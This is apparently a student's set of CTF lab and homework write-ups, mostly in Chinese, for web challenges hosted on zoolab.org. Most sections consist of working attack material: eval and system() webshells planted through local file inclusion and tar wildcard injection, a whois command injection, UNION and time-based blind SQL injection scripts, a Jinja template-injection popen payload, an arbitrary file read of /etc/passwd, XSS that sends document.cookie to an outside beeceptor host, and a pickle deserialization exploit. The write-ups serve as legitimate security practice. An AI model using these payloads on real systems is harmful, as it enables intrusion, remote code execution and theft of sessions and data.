# web
## [LAB] Hello from Windows
```php=
<?php
session_start();
if(isset($_GET['source'])){
highlight_file('./'.$_GET['source'].'.php');
die();
}
if(isset($_GET['name']) && $_GET['name']!=''){
$_SESSION['name'] = $_GET['name'];
header("Location: /?page=hi.php");
die();
}
if(!isset($_GET['page'])){
header("Location: /?page=say.php");
die();
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Hello from Windows 98</title>
<meta charset="UTF-8" />
<link rel="stylesheet" href="https://unpkg.com/98.css" />
</head>
<style>
body{
background: url('blue.png');
background-size: cover;
display: flex;
align-items: center;
justify-content: center;
height: 100vh;
margin: 0;
}
</style>
</style>
<body>
<div class="window" style="margin: 32px; width: 500px">
<div class="title-bar">
<div class="title-bar-text">
Hello World..
</div>
<div class="title-bar-controls">
<button aria-label="Minimize"></button>
<button aria-label="Maximize"></button>
<button aria-label="Close"></button>
</div>
</div>
<div class="window-body">
<?php include($_GET['page']);?>
</div>
</div>
</body>
</html>
```
49行 網頁會 include page參數的值

打開網頁可以看到有個視窗可以輸入名稱

按f12看 requests header把 cookie裡的 PHPSESSID 傳給 server,該檔案存在/tmp/sess_{PHPSESSID},因此把 name 構造成 <?php eval($_GET['code']); ?>,再把page 參數修改成/tmp/sess_{PHPSESSID},網頁會 include name裡的 webshell,因此能執行任意程式



在/var/www/html/flag.txt找到flag
## [LAB] Whois Tool
```php=
<?php
if(isset($_GET["host"])){
$host = $_GET["host"];
if(strlen($host) > 15)
echo "Host name tooooooo logn!!";
else
echo `whois "{$host}" 2>&1;`;
}
?>
```

一個欄位輸入host,server 執行 whois "{$host}" 2>&1;

輸入\";ls;\"
sever執行的code 變成 whois "";ls;"" 2>&1;;
得知flag在當前路徑底下

## [LAB] Normal Login Panel


題目為一登入介面,輸入admin' 網站會壞掉,由此可知此處有sql injection

用union 猜column 個數,猜到第4欄的時候網站才不會崩潰,因此關鍵應該在這第四欄

背後的 database 是 sqlLite

輸入 admin' union select 1,1,1,sql FROM sqlite_master WHERE type='table' --
看到有一張表結構為
id , username , password , count

輸入 admin' union select 1,1,1,password FROM users --
撈出 password
## [LAB] Normal Login Panel 2

透過上一題的password,登入 admin, 網頁回傳一段python code,如果登入成功且有greet參數,則回傳 Hello {greet},沒有greet參數回傳網頁source code

用burp suite構造 post,利用 greet 執行 popen('cat *').read()
post
username=admin
&password=FLAG{Un10N_s31eCt/**/F14g_fR0m_s3cr3t}
&greet={{().\_\_class\_\_.\_\_base\_\_.\_\_subclasses\_\_()[140].\_\_init\_\_.\_\_globals\_\_['popen']('cat *').read()}}
## [HW] PasteWeb (Flag 1)

利用 OR 5::int=5 得知database用的是 postgresql
dump table:
a' ;select case when substring(array_to_string(ARRAY(SELECT table_name from information_schema.tables),','),1,{len(datame)+1})='{datame}{i}' then pg_sleep(5) else pg_sleep(0) end ; --
table : s3cr3t_t4b1e
dump column:
a' ;select case when substring(array_to_string(ARRAY(SELECT column_name FROM information_schema.columns WHERE table_name='s3cr3t_t4b1e'),','),1,{len(datame)+1})='{datame}{i}' then pg_sleep(5) else pg_sleep(0) end ; --
column : fl4g
dump fl4g from secrte_table:
a' ;select case when substring(array_to_string(ARRAY(SELECT fl4g FROM s3cr3t_t4b1e),','),1,{len(datame)+1})='{datame}{i}' then pg_sleep(5) else pg_sleep(0) end ; --
```python
import requests
import time
cookies = {
'PHPSESSID': 'iofjasiodfjadfsdfsadasdsdsasd',
}
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
'Accept-Language': 'zh-TW,zh;q=0.8',
'Cache-Control': 'max-age=0',
'Connection': 'keep-alive',
# 'Cookie': 'PHPSESSID=mhjvpduepqit69ifl7ckv2vgim',
'Origin': 'https://pasteweb.ctf.zoolab.org',
'Referer': 'https://pasteweb.ctf.zoolab.org/',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1',
'Sec-GPC': '1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',
'sec-ch-ua': '"Not?A_Brand";v="8", "Chromium";v="108", "Brave";v="108"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
}
data = {
'username': 'sadf',
'password': '',
'current_time': '1670860674',
}
datame = ''
ascii = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ \t\n\r\x0b\x0c'
for index in range(len(datame)+1,500):
for i in ascii:
start = time.time()
payload = f"""
a' ;select case when substring(array_to_string(ARRAY(SELECT CURRENT_USER ),','),1,{len(datame)+1})='{datame}{i}' then pg_sleep(5) else pg_sleep(0) end ; --
""".strip()
data['username'] = payload
data['current_time'] = int(start)
print(payload)
response = requests.post('https://pasteweb.ctf.zoolab.org/', cookies=cookies, headers=headers, data=data)
print(response.text.split('\n')[-5], time.time()-start, datame, i)
if time.time()-start >= 5:
datame += i
print(datame)
break
else:
print(index, i)
raise Exception
```
flag:

## [HW] PasteWeb (Flag 2)
insert into pasteweb_accounts (user_id, user_account, user_password) values (10, 'user', md5('user'));

透過前面的sql injection 新增帳號,登入後可以看到網頁的功能,其中edit css因為支援lesscss,因此有個任意讀的漏洞
``` css
.test { content: data-uri("/etc/passwd");}
```
構造css

進入View,可以看到/etc/passwd 以 base64的格式回傳
且因為在 /var/www/html/.git/ 裡面的檔案都能正常讀取,可以利用[gitdump工具](https://github.com/denny0223/scrabble) 將source code還原
```python!
from flask import Flask
from markupsafe import escape
import requests
from flask import Response
import base64
app = Flask(__name__)
cookies = {
'PHPSESSID': '3uq2l8fuf0n1b6l8ou1devk0ej',
}
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
'Accept-Language': 'zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-Hans;q=0.6,und;q=0.5',
'Cache-Control': 'max-age=0',
'Connection': 'keep-alive',
# 'Cookie': 'PHPSESSID=lpcfdspcffuf5sdj3mgi0pvjq0',
'Origin': 'https://pasteweb.ctf.zoolab.org',
'Referer': 'https://pasteweb.ctf.zoolab.org/editcss.php',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1',
'Sec-GPC': '1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',
'sec-ch-ua': '"Not?A_Brand";v="8", "Chromium";v="108", "Brave";v="108"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
}
@app.route('/.git/<path:subpath>')
def show_subpath(subpath):
# show the subpath after /path/
path = '/var/www/html/.git/' + subpath
print(path)
data = {
'less': ".test {\r\n content: data-uri('" + path + "');\r\n}\r\n\r\n",
}
response = requests.post('https://pasteweb.ctf.zoolab.org/editcss.php', cookies=cookies, headers=headers, data=data)
# print(response.status_code)
response = requests.post('https://pasteweb.ctf.zoolab.org/view.php', cookies=cookies, headers=headers)
data = response.text.splitlines()[7].split('"')[1]
if "base64" in data:
data = data[data.find('base64,'):].replace('base64,', '')
data = base64.b64decode(data)
# data.replace(b'/var/www/html', b'')
with open(path.replace('/', '_'), 'wb') as f:
f.write(data)
print(data[:10])
return Response(data, mimetype='application/octet-stream')
return Response(status=404)
if __name__ == "__main__":
app.run(debug=True)
```
用 flask 在port 80架一個server,當gitdumper GET http://127.0.0.1/.git/HEAD 時,server將data-uri的路徑改成/var/www/html/.git/HEAD,從目標網站讀檔再回傳,藉此模擬直接GET https://pasteweb.ctf.zoolab.org/.git/HEAD 的效果


dump完得到source code,在index.php得到flag
## [HW] PasteWeb (Flag 3)
```php=
<?php
session_start();
if(!isset($_SESSION['name'])){
header("Location: /");
die();
}
// When you see this line, you probably don't need to read 'lessc.inc.php', the intended sollution of flag 3 have nothing to do with it
require "lessc.inc.php";
$less = new lessc;
$sandbox = './sandbox/'.md5($_SESSION['name']).'/';
if (!file_exists($sandbox)){
mkdir($sandbox);
}
chdir($sandbox);
if($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['less'])){
file_put_contents('input.less', $_POST['less']);
$theme = isset($_POST['theme'])? str_replace('/', '', $_POST['theme']): 'default';
$less->compileFile('input.less', $theme.'.css');;
$_SESSION['message'] = "CSS updated successfully!";
}
?>
```
在 editcss.php 中發現edit css時可以帶一個 theme 的參數,web 會把compile 後的css 存成 $theme.'.css',因此可以儲存任意名稱結尾為.css的檔案
```php=
<?php
session_start();
if(!isset($_SESSION['name'])){
header("Location: /");
die();
}
$sandbox = './sandbox/'.md5($_SESSION['name']).'/';
if (!file_exists($sandbox)){
mkdir($sandbox);
}
chdir($sandbox);
header("Content-Disposition: attachment; filename=download.tar");
shell_exec("tar -cvf download.tar *");
readfile("download.tar");
shell_exec("rm download.tar");
die();
?>
```
第十五行shell_exec("tar -cvf download.tar *");,這邊的\*會將所有當前路徑的檔案名稱當作參數
將 theme 構造成
-I "bash";echo '<?php system($_GET[1]); ?>'>aaaa.php; default
tar -cvf download.tar * 的行為會變成
tar -cvf download.tar -I "bash";echo '<?php system($_GET[1]); ?>'>aaaa.php; default.css default.css input.css index.html
執行download後在 sandbox/md5(user)/aaaa.php 獲得一個webshell

## [LAB] Particles.js


網頁有個選單切換 config ,按 change 會重新GET 當前網站並帶上 config 的 parameter


report 會把 url POST 回去


把config設為 aaaaaaaa,可以發現 \<script\> 底下有兩個變數隨著config改變

把 config 構造為
5;fetch("https://asiagodtone.free.beeceptor.com?flag="%2bdocument.cookie);({1://\
admin回傳 flag:

## [LAB] Simple Note [20]

題目是一個 note 可以放 title 和 content

提交後得到一個網頁和 report的按鈕

report 後會把 url 傳給 server, 因為server 會 access這個url,所以有 XSS 漏洞

因為 title 是 innerhtml 所以可以放 script 進去
<img src=x onerror=alert(1)>
因為 title 有長度限制, 所以先控制 window.name 再 eval
<img src=x onerror=eval(window.name)>

把 POST /report 的 payload 改成自己的網頁

網頁的邏輯
window.name = "fetch('https://aaaaaaaaa.free.beeceptor.com?
window.namewhoami=aaaaaaaaa'+document.cookie)"
location = "https://note.ctf.zoolab.org/note/11578879a8be371969906666"
設置 windows.name,進入 note後會 eval(window.name)
然後location 設定成剛剛的note,跳轉過去後就會 eval(window.name),就能得到server的cookie了

## [LAB] Pickle
```py=
from flask import Flask, request, make_response, redirect, send_file
import base64
import pickle
app = Flask(__name__)
@app.route("/sauce")
def sauce():
return send_file(__file__, mimetype="text/plain")
@app.route("/")
def main():
session = request.cookies.get("session")
if session == None:
return '<form action="/login" method="POST">' +\
'<p>Name: <input name="name" type="text"></p>' +\
'<p>Age: <input name="age" type="number"></p>' +\
'<button>Submit</button></form><hr><a href="/sauce">Source code</a>'
else:
user = pickle.loads(base64.b64decode(session))
return f'<p>Name: {user["name"]}</p><p>Age: {user["age"]}</p>'
@app.route("/login", methods=['POST'])
def login():
user = base64.b64encode(pickle.dumps({
"name": request.form.get('name'),
"age": int(request.form.get('age'))
}))
resp = make_response(redirect('/'))
resp.set_cookie("session", user)
return resp
```
從 source code 得知web會把 cookie中的session反序列化
```python=
import pickle
import subprocess
import base64
class Exploit(object):
def __reduce__(self):
return (subprocess.check_output, ('ls',), )
session = pickle.dumps({"name":Exploit(), "age":1})
session = base64.b64encode(session)
user = pickle.loads(base64.b64decode(session))
print(bytes.hex(session))
print((session))
print(user)
```
將cookie構造成
gASVOwAAAAAAAAB9lCiMBG5hbWWUjApzdWJwcm9jZXNzlIwMY2hlY2tfb3V0cHV0lJOUjAJsc5SFlFKUjANhZ2WUSwF1Lg==

flag:
